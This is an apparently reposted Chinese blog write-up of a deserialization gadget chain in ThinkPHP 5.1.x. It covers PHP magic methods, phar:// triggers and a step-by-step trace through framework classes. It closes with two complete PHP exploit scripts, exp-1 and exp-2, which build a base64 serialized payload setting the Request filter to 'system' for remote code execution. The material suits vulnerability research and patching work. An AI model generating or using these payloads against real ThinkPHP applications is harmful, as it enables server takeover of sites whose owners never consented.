ThinkPHP5.1.x 反序列化

Posted 2021-09-07 H3rmesk1t

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篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了ThinkPHP5.1.x 反序列化相关的知识，希望对你有一定的参考价值。

Thinkphp5.1.x 反序列化

补充知识
漏洞环境
漏洞分析

补充知识

PHP反序列化原理

PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象

在PHP反序列化的过程中会自动执行一些魔术方法

方法名	调用条件
__call	调用不可访问或不存在的方法时被调用
__callStatic	调用不可访问或不存在的静态方法时被调用
__clone	进行对象clone时被调用，用来调整对象的克隆行为
__constuct	构建对象的时被调用
__debuginfo	当调用var_dump()打印对象时被调用（当你不想打印所有属性）适用于PHP5.6版本
__destruct	明确销毁对象或脚本结束时被调用
__get	读取不可访问或不存在属性时被调用
__invoke	当以函数方式调用对象时被调用
__isset	对不可访问或不存在的属性调用isset()或empty()时被调用
__set	当给不可访问或不存在属性赋值时被调用
__set_state	当调用var_export()导出类时,此静态方法被调用,用__set_state的返回值做为var_export的返回值
__sleep	当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString	当一个类被转换成字符串时被调用
__unset	对不可访问或不存在的属性进行unset时被调用
__wakeup	当使用unserialize时被调用,可用于做些对象的初始化操作

反序列化的常见起点

__wakeup：一定会调用
__destruct：一定会调用
__toString：当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString：当一个对象被当做字符串使用
__get：读取不可访问或不存在属性时被调用
__set：当给不可访问或不存在属性赋值时被调用
__isset：对不可访问或不存在的属性调用 isset() 或 empty() 时被调用，形如 $this->$func();

反序列化的常见终点

__call：调用不可访问或不存在的方法时被调用
call_user_func：一般php代码执行都会选择这里
call_user_func_array：一般php代码执行都会选择这里

Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其 metadata 部分
受影响的函数包括不限于如下

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

漏洞环境

漏洞测试环境：PHP7+ThinkPHP5.1.37
漏洞测试代码 application/index/controller/Index.php

漏洞分析

寻找反序列化的起始点

全局搜索 __destruct，跟进 thinkphp/library/think/process/pipes/Windows.php

__destruct 调用 removeFiles 方法，跟进发现存在 file_exists 方法，可以触发 toString，并且 $files 可控

寻找反序列化的中间跳板

寻找一个实现了 __toString 方法的对象来作为跳板，跟进 thinkphp/library/think/Collection.php

toArray 方法中寻找一个满足条件的：$可控变量 -> 方法(参数可控)，这样可以去触发某个类的 __call 方法

跟进 thinkphp/library/think/model/concern/Conversion.php，在 toArray 方法中找到一个符合条件的 $relation->visible($name);

寻找反序列化代码执行点

需要寻找一个类满足以下2个条件，全局搜索 __call，跟进 thinkphp/library/think/Request.php

该类中没有”visible”方法
实现了__call方法

这里的 $hook 可控，可以设计一个数组 $hook= {"visable"=>"任意method"}，但是这里有个 array_unshift($args, $this); 会把 $this 放到 $arg 数组的第一个元素，可以采用如下形式 call_user_func_array([$obj,"任意方法"],[$this,任意参数]
但这种形式很难执行代码，于是尝试覆盖 filter 的方法去执行代码，发现 input 方法满足条件

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

但是这个方法不能直接使用，$name 是一个数组，由于前面判断条件 is_array($data) 会报错终止程序，所以不能直接使用这个函数，继续查找调用 input 方法的的函数，跟进 thinkphp/library/think/Request.php 中的 param 方法，这里如果能满足 $name 为字符串，就可以控制变量代码执行

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

继续向上查找使用了 param 的方法，跟进 thinkphp/library/think/Request.php 中的 isAjax 或者方法，发现 isAjax/isPjax 方法可以满足 param 的第一个参数为字符串，因为 $this->config 也是可控的

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

public function isPjax($pjax = false)
    {
        $result = !is_null($this->server('HTTP_X_PJAX')) ? true : false;

        if (true === $pjax) {
            return $result;
        }

        $result           = $this->param($this->config['var_pjax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

构造反序列化利用链

参考 Mochazz 师傅的示意图

exp-1

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->data = ['H3rmesk1t' => new Request()];
        $this->append = ['H3rmesk1t' => []];
    }
}
class Request{
    protected $filter;
    protected $hook = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ['var_ajax' => ''];
        $this->hook = ['visible' => [$this,'isAjax']];
    }
}
namespace think\\process\\pipes;
use think\\model\\Pivot;

class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\\model;
use think\\Model;

class Pivot extends Model{
}

use think\\process\\pipes\\Windows;
echo base64_encode(serialize(new Windows()));
?>

exp-2

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->data = ['H3rmesk1t' => new Request()];
        $this->append = ['H3rmesk1t' => []];
    }
}
class Request{
    protected $filter;
    protected $hook = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根，如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ['var_pjax' => ''];
        $this->hook = ['visible' => [$this,'isPjax']];
    }
}
namespace think\\process\\pipes;
use think\\model\\Pivot;

class Windows{
    private $files = [];
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\\model;
use think\\Model;

class Pivot extends Model{
}

use think\\process\\pipes\\Windows;
echo base64_encode(serialize(new Windows()));
?>

漏洞利用条件

使用的 ThinkPHP 5.1.X 框架的程序中满足以下任意条件:

未经过滤直接使用反序列化操作
可以文件上传且文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

以上是关于ThinkPHP5.1.x 反序列化的主要内容，如果未能解决你的问题，请参考以下文章

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Android 逆向使用 Python 解析 ELF 文件 ( Capstone 反汇编 ELF 文件中的机器码数据 | 创建反汇编解析器实例对象 | 设置汇编解析器显示细节 )(代码片段

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